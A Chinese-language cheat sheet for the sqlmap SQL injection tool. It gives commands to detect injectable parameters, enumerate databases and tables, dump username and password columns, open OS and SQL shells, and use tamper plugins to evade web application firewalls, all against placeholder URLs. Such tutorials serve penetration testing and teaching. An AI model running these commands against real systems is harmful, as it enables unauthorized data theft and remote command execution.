SQLmap基于Python编写,只要安装了Python的操作系统就可以使用它。

一、SQLMap判断是否存在注入

1、 sqlmap -u “http://XXXXXXX?id=1”

如果存在注入点,将会显示Web容器、数据库版本信息。

2、读取数据库:sqlmap -u “http://XXXXXXX?id=1” –dbs

3、查看当前应用程序所用数据库:sqlmap -u “http://XXXXXXX?id=1” –current-dbs

4、列出指定数据库的所有表:sqlmap -u “http://XXXXXXX?id=1” –tables -D “admin”

5、读取指定表中的字段名称:sqlmap -u “http://XXXXXXX?id=1” –columns -T “user” -D “admin”

6、读取指定字段的内容:sqlmap -u “http://XXXXXXX?id=1” –dump -C “username,password” -T “user” -D”admin”

–dump参数意为转存数据,-C参数指定字段名称,-T指定表名,-D指定数据库名称。如果有数据库关键字需要加上”[]”,如[User]。

读取数据后,数据会存到sqlmap/output/下。

二、SQLMap的一些参数

1、测试注入点权限

测试所有用户的权限:sqlmap -u URL — privileges

测试a用户的权限:sqlmap -u URL — privileges -U a

2、执行shell命令

sqlmap -u URL –os-cmd=”net user”

系统交互的shell:sqlmap -u URL –os-shell

3、执行sql命令

SQL交互的shell,执行sql语句:sqlmap -u URL –sql-shell

sqlmap -u URL –sql-query=”sql”

4、POST提交方式

sqlmap -u URL –data “POST参数”

5、显示详细的等级

sqlmap -u URL –dbs -v 1

-v 参数包含7个等级。

0:只显示Python的回溯、错误和关键消息。

1:显示信息和警告信息。

2:显示调试信息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容。

6、注入HTTP请求

sqlmap -r test.txt –dbs

test.txt 的内容为HTTP请求。

7、注入等级

sqlmap -u URL –level 3

8、使用sqlmap插件

sqlmap -u URL -tamper “插件名称”

插件一般都保存在sqlmap目录下的tamper文件夹中,通常用来绕过WAF。